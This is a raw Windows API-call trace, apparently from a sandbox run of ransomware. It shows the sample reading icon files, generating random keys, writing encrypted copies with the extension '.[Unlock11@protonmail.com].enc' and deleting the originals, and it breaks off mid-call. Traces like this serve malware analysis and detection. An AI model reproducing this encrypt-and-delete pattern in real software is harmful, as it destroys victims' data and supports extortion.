CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.564] GetFileType (hFile=0x39c) returned 0x1 [0115.564] GetLastError () returned 0x0 [0115.564] GetCurrentThreadId () returned 0x9b0 [0115.564] GetLastError () returned 0x0 [0115.564] GetFileType (hFile=0x39c) returned 0x1 [0115.564] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.564] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.564] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.564] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.564] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.565] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.565] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.565] GetLastError () returned 0x0 [0115.565] GetCurrentThreadId () returned 0x9b0 [0115.565] GetLastError () returned 0x0 [0115.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0115.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0115.565] GetLastError () returned 0x0 [0115.565] GetLastError () returned 0x0 [0115.566] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.566] GetFileType (hFile=0x3ac) returned 0x1 [0115.566] GetCurrentThreadId () returned 0x9b0 [0115.566] GetFileType (hFile=0x3ac) returned 0x1 [0115.567] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.567] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.567] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.567] GetCurrentThreadId () returned 0x9b0 [0115.567] GetCurrentThreadId () returned 0x9b0 [0115.567] GetCurrentThreadId () returned 0x9b0 [0115.569] GetCurrentThreadId () returned 0x9b0 [0115.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x493) returned 0x35c5908 [0115.569] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x495) returned 0x35c5908 [0115.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6af8 [0115.570] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f69c8 | out: hHeap=0x2ad0000) returned 1 [0115.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x498) returned 0x33f2338 [0115.570] GetCurrentThreadId () returned 0x9b0 [0115.570] GetLastError () returned 0x0 [0115.570] GetLastError () returned 0x0 [0115.570] GetLastError () returned 0x0 [0115.570] GetLastError () returned 0x0 [0115.570] GetCurrentThreadId () returned 0x9b0 [0115.571] GetLastError () returned 0x0 [0115.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0115.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0115.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.571] GetLastError () returned 0x0 [0115.571] GetLastError () returned 0x0 [0115.571] GetCurrentThreadId () returned 0x9b0 [0115.571] GetLastError () returned 0x0 [0115.571] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea820 | out: hHeap=0x2ad0000) returned 1 [0115.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5da8 [0115.572] GetLastError () returned 0x0 [0115.572] GetLastError () returned 0x0 [0115.572] GetCurrentThreadId () returned 0x9b0 [0115.572] GetLastError () returned 0x0 [0115.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5da8 | out: hHeap=0x2ad0000) returned 1 [0115.572] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.572] GetLastError () returned 0x0 [0115.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.574] CloseHandle (hObject=0x3ac) returned 1 [0115.574] GetLastError () returned 0x0 [0115.574] GetCurrentThreadId () returned 0x9b0 [0115.574] GetLastError () returned 0x0 [0115.574] GetLastError () returned 0x0 [0115.575] CloseHandle (hObject=0x39c) returned 1 [0115.575] GetLastError () returned 0x0 [0115.575] GetCurrentThreadId () returned 0x9b0 [0115.575] GetLastError () returned 0x0 [0115.575] GetLastError () returned 0x0 [0115.575] GetLastError () returned 0x0 [0115.575] GetLastError () returned 0x0 [0115.575] GetLastError () returned 0x0 [0115.575] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0115.577] GetLastError () returned 0x0 [0115.577] GetCurrentThreadId () returned 0x9b0 [0115.577] GetLastError () returned 0x0 [0115.578] GetCurrentThreadId () returned 0x9b0 [0115.578] GetLastError () returned 0x0 [0115.578] GetLastError () returned 0x0 [0115.578] GetLastError () returned 0x0 [0115.578] GetLastError () returned 0x0 [0115.578] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Setup.ico", lpFilePart=0x9bada4*="Setup.ico") returned 0x28 [0115.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0115.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0115.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0115.579] GetCurrentThreadId () returned 0x9b0 [0115.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea700 [0115.579] GetLastError () returned 0x0 [0115.579] GetLastError () returned 0x0 [0115.579] GetLastError () returned 0x0 [0115.579] GetLastError () returned 0x0 [0115.579] GetCurrentThreadId () returned 0x9b0 [0115.579] GetLastError () returned 0x0 [0115.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea700 | out: hHeap=0x2ad0000) returned 1 [0115.579] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.580] GetLastError () returned 0x0 [0115.581] GetLastError () returned 0x0 [0115.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.581] GetLastError () returned 0x0 [0115.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0115.581] GetLastError () returned 0x0 [0115.581] GetLastError () returned 0x0 [0115.581] GetLastError () returned 0x0 [0115.581] GetLastError () returned 0x0 [0115.581] GetLastError () returned 0x0 [0115.581] GetLastError () returned 0x0 [0115.582] GetLastError () returned 0x0 [0115.582] GetLastError () returned 0x0 [0115.582] GetLastError () returned 0x0 [0115.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0115.582] GetLastError () returned 0x0 [0115.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0115.582] GetLastError () returned 0x0 [0115.582] GetLastError () returned 0x0 [0115.582] GetLastError () returned 0x0 [0115.582] GetLastError () returned 0x0 [0115.583] GetLastError () returned 0x0 [0115.583] GetLastError () returned 0x0 [0115.583] GetLastError () returned 0x0 [0115.583] GetLastError () returned 0x0 [0115.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0115.583] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66)) returned 1 [0115.583] GetLastError () returned 0x0 [0115.583] GetLastError () returned 0x0 [0115.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0115.584] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0115.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0115.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.584] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0115.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea638 [0115.584] GetLastError () returned 0x0 [0115.584] GetLastError () returned 0x0 [0115.584] GetLastError () returned 0x0 [0115.584] GetLastError () returned 0x0 [0115.585] GetLastError () returned 0x0 [0115.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea638 | out: hHeap=0x2ad0000) returned 1 [0115.585] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0115.585] GetLastError () returned 0x0 [0115.585] GetLastError () returned 0x0 [0115.585] GetLastError () returned 0x0 [0115.585] GetLastError () returned 0x0 [0115.585] GetLastError () returned 0x0 [0115.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0115.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.586] GetLastError () returned 0x0 [0115.586] GetLastError () returned 0x0 [0115.586] GetLastError () returned 0x0 [0115.586] GetLastError () returned 0x0 [0115.587] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0115.587] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a18 [0115.587] GetLastError () returned 0x0 [0115.587] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0115.587] GetFileType (hFile=0x39c) returned 0x1 [0115.587] GetLastError () returned 0x0 [0115.587] GetLastError () returned 0x0 [0115.587] GetFileType (hFile=0x39c) returned 0x1 [0115.588] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.588] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.588] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.588] GetLastError () returned 0x0 [0115.588] GetCurrentThreadId () returned 0x9b0 [0115.588] GetLastError () returned 0x0 [0115.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a18 | out: hHeap=0x2ad0000) returned 1 [0115.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0115.588] GetLastError () returned 0x0 [0115.589] GetLastError () returned 0x0 [0115.589] GetLastError () returned 0x0 [0115.589] GetLastError () returned 0x0 [0115.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6aa8 [0115.589] GetLastError () returned 0x0 [0115.589] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0115.589] GetFileType (hFile=0x3ac) returned 0x1 [0115.590] GetLastError () returned 0x0 [0115.590] GetCurrentThreadId () returned 0x9b0 [0115.590] GetLastError () returned 0x0 [0115.590] GetFileType (hFile=0x3ac) returned 0x1 [0115.590] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0115.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.590] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0115.590] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0115.590] GetLastError () returned 0x0 [0115.590] GetCurrentThreadId () returned 0x9b0 [0115.590] GetLastError () returned 0x0 [0115.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0115.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0115.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0115.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0115.591] GetLastError () returned 0x0 [0115.591] GetLastError () returned 0x0 [0115.591] GetCurrentThreadId () returned 0x9b0 [0115.591] GetLastError () returned 0x0 [0115.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0115.591] GetLastError () returned 0x0 [0115.591] GetLastError () returned 0x0 [0115.592] GetCurrentThreadId () returned 0x9b0 [0115.592] GetLastError () returned 0x0 [0115.592] GetLastError () returned 0x0 [0115.595] GetLastError () returned 0x0 [0115.596] GetCurrentThreadId () returned 0x9b0 [0115.596] GetLastError () returned 0x0 [0115.596] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x8f7b) returned 0x35c5908 [0115.596] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x8f85) returned 0x35c5908 [0115.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b98 [0115.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6b78 | out: hHeap=0x2ad0000) returned 1 [0115.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8f88) returned 0x35b89d8 [0115.596] GetCurrentThreadId () returned 0x9b0 [0115.596] GetLastError () returned 0x0 [0115.597] GetLastError () returned 0x0 [0115.597] GetLastError () returned 0x0 [0115.597] GetLastError () returned 0x0 [0115.597] GetCurrentThreadId () returned 0x9b0 [0115.597] GetLastError () returned 0x0 [0115.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0115.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0115.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0115.597] GetLastError () returned 0x0 [0115.598] GetLastError () returned 0x0 [0115.599] GetCurrentThreadId () returned 0x9b0 [0115.599] GetLastError () returned 0x0 [0115.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0115.599] GetLastError () returned 0x0 [0115.599] GetLastError () returned 0x0 [0115.599] GetCurrentThreadId () returned 0x9b0 [0115.599] GetLastError () returned 0x0 [0115.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0115.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0115.599] GetLastError () returned 0x0 [0115.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0115.600] CloseHandle (hObject=0x3ac) returned 1 [0115.600] GetLastError () returned 0x0 [0115.600] GetCurrentThreadId () returned 0x9b0 [0115.600] GetLastError () returned 0x0 [0115.600] GetLastError () returned 0x0 [0115.600] CloseHandle (hObject=0x39c) returned 1 [0115.600] GetLastError () returned 0x0 [0115.601] GetCurrentThreadId () returned 0x9b0 [0115.601] GetLastError () returned 0x0 [0115.601] GetLastError () returned 0x0 [0115.601] GetLastError () returned 0x0 [0115.601] GetLastError () returned 0x0 [0115.601] GetLastError () returned 0x0 [0115.601] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0115.602] GetLastError () returned 0x0 [0115.602] GetCurrentThreadId () returned 0x9b0 [0115.602] GetLastError () returned 0x0 [0115.603] GetCurrentThreadId () returned 0x9b0 [0115.603] GetLastError () returned 0x0 [0115.604] GetLastError () returned 0x0 [0115.604] GetLastError () returned 0x0 [0115.604] GetLastError () returned 0x0 [0115.604] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\stop.ico", lpFilePart=0x9bada4*="stop.ico") returned 0x27 [0115.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0115.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0115.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0115.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0115.604] GetCurrentThreadId () returned 0x9b0 [0115.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0115.604] GetLastError () returned 0x0 [0115.605] GetLastError () returned 0x0 [0115.605] GetLastError () returned 0x0 [0115.605] GetLastError () returned 0x0 [0115.605] GetCurrentThreadId () returned 0x9b0 [0115.605] GetLastError () returned 0x0 [0115.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0115.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6b0 [0115.605] GetLastError () returned 0x0 [0115.605] GetLastError () returned 0x0 [0115.605] GetLastError () returned 0x0 [0115.605] GetLastError () returned 0x0 [0115.606] GetCurrentThreadId () returned 0x9b0 [0115.606] GetLastError () returned 0x0 [0115.606] GetCurrentThreadId () returned 0x9b0 [0115.606] GetLastError () returned 0x0 [0115.606] GetLastError () returned 0x0 [0115.606] GetLastError () returned 0x0 [0115.606] GetLastError () returned 0x0 [0115.606] GetCurrentThreadId () returned 0x9b0 [0115.606] GetLastError () returned 0x0 [0115.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6b0 | out: hHeap=0x2ad0000) returned 1 [0115.606] GetLastError () returned 0x0 [0115.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0115.607] GetLastError () returned 0x0 [0115.607] GetLastError () returned 0x0 [0115.607] GetLastError () returned 0x0 [0115.607] GetCurrentThreadId () returned 0x9b0 [0115.607] GetLastError () returned 0x0 [0115.607] GetLastError () returned 0x0 [0115.607] GetLastError () returned 0x0 [0115.607] GetLastError () returned 0x0 [0115.607] GetLastError () returned 0x0 [0115.607] GetCurrentThreadId () returned 0x9b0 [0115.607] GetLastError () returned 0x0 [0115.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0115.608] GetLastError () returned 0x0 [0115.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0115.608] GetLastError () returned 0x0 [0115.608] GetLastError () returned 0x0 [0115.608] GetLastError () returned 0x0 [0115.608] GetCurrentThreadId () returned 0x9b0 [0115.608] GetLastError () returned 0x0 [0115.608] GetCurrentThreadId () returned 0x9b0 [0115.608] GetLastError () returned 0x0 [0115.608] GetLastError () returned 0x0 [0115.608] GetLastError () returned 0x0 [0115.608] GetLastError () returned 0x0 [0115.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0115.609] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796)) returned 1 [0115.609] GetLastError () returned 0x0 [0115.609] GetCurrentThreadId () returned 0x9b0 [0115.609] GetLastError () returned 0x0 [0115.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0115.609] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ee4 | out: pbBuffer=0x3664ee4) returned 1 [0115.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0115.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0115.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0115.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.610] GetCurrentThreadId () returned 0x9b0 [0115.610] GetLastError () returned 0x0 [0115.610] GetLastError () returned 0x0 [0115.610] GetLastError () returned 0x0 [0115.610] GetLastError () returned 0x0 [0115.610] GetCurrentThreadId () returned 0x9b0 [0115.610] GetLastError () returned 0x0 [0115.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0115.610] GetLastError () returned 0x0 [0115.611] GetLastError () returned 0x0 [0115.611] GetLastError () returned 0x0 [0115.611] GetLastError () returned 0x0 [0115.611] GetCurrentThreadId () returned 0x9b0 [0115.611] GetLastError () returned 0x0 [0115.611] GetCurrentThreadId () returned 0x9b0 [0115.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0115.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a78 [0115.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0115.611] GetLastError () returned 0x0 [0115.611] GetLastError () returned 0x0 [0115.611] GetLastError () returned 0x0 [0115.611] GetLastError () returned 0x0 [0115.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0115.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0115.612] GetLastError () returned 0x0 [0115.612] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, 